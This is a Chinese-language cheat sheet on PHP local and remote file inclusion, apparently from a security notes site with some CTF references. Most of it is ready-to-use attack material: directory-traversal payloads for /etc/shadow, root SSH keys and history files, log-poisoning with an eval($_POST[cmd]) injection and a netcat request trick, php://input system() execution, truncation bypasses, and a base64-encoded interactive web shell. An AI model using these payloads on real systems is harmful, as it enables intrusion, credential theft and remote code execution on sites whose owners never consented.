1. 与文件包含相关的函数

require         找不到被包含的文件时会产生致命错误,并停止脚本运行。
include         找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once    与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once    与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

2. 本地文件包含(LFI--Local File Include)

只要网站支持上传,上传任意后缀文件,被包含的文件中含有效的php代码,则引入当前文件执行,若不含有效php代码,则直接输出文件内容

  • 样例:
echo "<?php phpinfo();?>" > info.txt

# lfi.php
<?php include($_GET['file']); ?>

#
http://ip/?file=info.txt
协议 附加条件 php 样例 (file=)
zip:// ZIP extension zip://archive.zip#dir/file.txt
phar:// phar://archive.zip/file.txt
file file:///etc/passwd

2.1. zip://

zip extension

# zip 内含目录
zip://archive.zip#dir/file.txt

# url 中使用 "%23"(#)
?f=zip://path_to_zip%23inside_file_name

2.1.1. 上传zip利用

文件压缩成zip包,压缩的时候注意要选择only store之类的选项,防止数据被压缩

zip -0 1.zip shell.php

2.1.2. 特性 Allows Reading

  • 影响函数
fopen()
file_get_contents()
imagecreatefromgif()

2.2. phar://

与zip协议区别就是 phar 是用/来分隔而不是 #

?file=phar://php.zip/php.jpg

2.3. file://

访问本地文件系统

http://www.wechall.net/challenge/crappyshare/index.php

http://www.wechall.net/challenge/crappyshare/crappyshare.php

  • 样例
?file=file:///etc/passwd
?file=file://c:/windows/win.ini
  • 影响函数
file_get_contents()
  • 实例

在这题CTF中,攻击的关键点在于:curl_exec($ch)

function upload_please_by_url($url)
{
  if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
  {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    if (false === ($file_data = curl_exec($ch)))
    {
      htmlDisplayError('cURL failed.');
    }
    else
    {
      // Thanks
      upload_please_thx($file_data);
    }
  }
  else
  {
    htmlDisplayError('Your URL looks errorneous.');
  }
}

当我们输入的file://参数被带入curl中执行时,原本的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的

3. 本地文件包含常见利用方式

3.1. 目录遍历

# linux 这两个文件存储着所有文件的路径,需要root权限
?file=../../../../../../../var/lib/mlocate/mlocate.db
?file=../../../../../../../var/lib/locate.db

3.2. 包含日志

?ile=../../../../../../../../var/log/apache/error.log

# apache
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

# 读配置文件找日志路径
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

#=============
# windows
#=============
# window 2003+iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows\system32\inetsrv\metabase.xml

# iis 7日志文件默认在
C:\inetpub\logs\LogFiles
# 配置文件默认目录
C:\Windows\System32\inetsrv\config\applicationHost.config

C:\apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\program files\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\error.log

C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\wamp\apache2\logs
C:\xampp\apache\logs\access.log

# 敏感文件
Windows:
  C:\boot.ini  //查看系统版本
  C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
  C:\Windows\repair\sam  //存储系统初次安装的密码
  C:\Program Files\mysql\my.ini  //Mysql配置
  C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
  C:\Windows\php.ini  //php配置信息
  C:\Windows\my.ini  //Mysql配置信息
  • 日记包含高级利用

wwoyun--济南大学主站本地文件包含导致代码执行

限制

类似 http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

突破

<?php/**/eval($_POST[cmd]);/**/?>
  • short_open_tag=on

在short_open_tag=on的情况下支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句

  • WEB服务器一个奇怪的特性

如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用 NC 伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

3.3. 获取web目录或配置文件

?file=../../../../../../../../usr/local/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/httpd/httpd.conf

3.4. 包含上传附件

?file=../attachment/media/xx.file

3.5. session 文件

包含Session文件的条件也较为苛刻,它需要攻击者能够"控制"部分Session文件的内容。

x|s:19:"<?php phpinfo(); ?>"

PHP默认生成的Session文件往往存放在/tmp目录下

/tmp/sess_SESSIONID

?file=../../../../../../../tmp/sess_xxxxx

session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件

3.5.1. 如果拥有root权限还可以试试读这些东西:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history
/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz

3.6. /proc

3.6.1. 包含/proc/self/environ文件

包含/proc/self/environ是一种更通用的方法,因为它根本不需要猜测包包含文件的路径,同时用户也能控制它的内容

http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ

4. 截断本地包含

样例:

include($a.".php");
  • 影响函数
include
require
file_get_contents
file_exists

4.1. 长文件名截断

  • php版本为5.3.4以下(具体哪个版本不是很清楚)
  • GPC是否开启没关系

windows和linux的文件名长度是有限制的,超过其长度的会被忽略,通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了

  • 样例:
<?php  include_once($_GET['f'].".php"); ?>  

# POC
http://127.0.0.1/test/123.php?f=test.txt/././....../

实例:

[长文件名截断: 济南大学主站本地文件包含导致代码执行 --wooyun]

  • windows

windows在文件名后加.\\, ., /, \, ./, .\都是可以的

  • linux

/./

4.2. %00 截断包含

  • php版本小于5.3.4 详情关注 CVE-2006-7243
  • agic_quotes_gpc=OFF

当把magic_quotes_gpc打开, %00被转义成了\0,不再具有截断功能。原因是:当打开magic_quotes_gpc时,所有的 '(单引号)"(双引号)\(反斜线)NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()mysql_escape_string()mysql_real_escape_string()

5. 远程包含

条件: allow_url_include=On

<?php
$file = $_GET['file'];
include($file);
?>
协议 附加条件 php 样例 (file=)
http[s] allow_url_fopen=On http://ip/shell.txt
ftp allow_url_fopen=On ftp://ip/shell.txt
php://filter >=5.0 php://filter/convert.base64-encode/resource=index.php
php://input php://input POST: <?php echo 111;?>
data:// >=5.2 data://text/plain;base64,MTE=

“zlib://”和“ogg://”等方式绕过 远程文件包含(RFI)

5.1. data://

Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur

php>=5.2

5.1.1. 样例

# base64 decode is 'I love PHP\n'
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');

// URL + Base64 , 隐藏特殊字符 '/'
index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

5.1.2. 可交互shell

# GUI command shell.

# PHP Payload
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>

# Base64 encoded payload

PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8+Cgo=

# Base64 + URL encoded payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT82BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D

5.1.3. 特性 Allows Reading

影响函数

include
include_once
require
require_once
file_get_contents
fopen

5.2. php://input

可以访问请求的原始数据的只读流(这个原始数据指的是POST数据)

5.2.1. 样例

<?php
  @include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input

# echo test
post: <?php echo 111;?>

# phpinfo
post: <?php pnpinfo();?>

# system
post: <?php system('ipconfig');?>
  • 读文件
<?php echo file_get_contents("solution.php");?>

在利用文件包含进行代码执行的时候,我们通过file_get_contents获取到的文件内容,如果是一个.php文件,会被当作include的输入参数,也就意味着会被再执行一次,则我们无法看到原始代码了. 解决这个问题的方法就是使用base64_encode进行编码

<?php echo base64_encode(file_get_contents("solution.php"));?>

5.3. php://filter

利用主要是利用了resource和vonvert,可以读取到php的代码

ctf 赛事中,url参数值出现很像文件名的情况下,很有可能是文件包含, 可利用 filter 协议读源码, 通常 flag 在 flag.php info.php phpinfo.php 这几个文件中,优先考虑

php>=5.0

?url=php://filter/convert.base64-encode/resource=test.txt

# http
?url=php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt

# resource 绕过
$ curl ctf.sharif.edu:31455/chal/technews/634770c075a17b83/images.php?id=php://filter/resource=files/images/robot.jpg/resource=files/flag/flag.txt

5.3.1. 向磁盘写文件

php://filter/write, 一个过滤器或多个过滤器以管道符 | 分隔

<?php
/* 这会通过 rot13 过滤器筛选出字符 "Hello World" 然后写入当前目录下的example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
  • glob

php>5.3.0

DirectoryIterator(“glob://ext/spl/examples/*.php”)
<?php
  // 循环 ext/spl/examples/ 目录里所有 *.php 文件
  // 并打印文件名和文件尺寸
  $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
  foreach($it as $f)
  {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
  }
?>

5.4. php://fd

php >= 5.3.6

6. windows 特性

6.1. 通配符 <<

存在文件包含时,php在windows下包含文件,能使用<<当通配符用, 使用<<符号相当于使用*号通配符。

  • 样例
<?php
include($_GET['file']);
?>

payload: http://localhost/file.php?file=c:\windows\win<<

在没有base_dir限制的情况下,会读到c:\windows\win.ini文件

这个问题是由Windows APi FindFirstFile函数引起的,这是FindFirstFile的一个特性,查看php原代码发现在win32\readdir.c,正是调用了FindFirstFile来操作文件的。因此受影响的并不止include函数。

  • 受影响函数
include
include_once
require
require_once
fopen
copy
file_get_contents
file_put_contents
readfile
mkdir
move_uploaded_file

results matching ""

    No results matching ""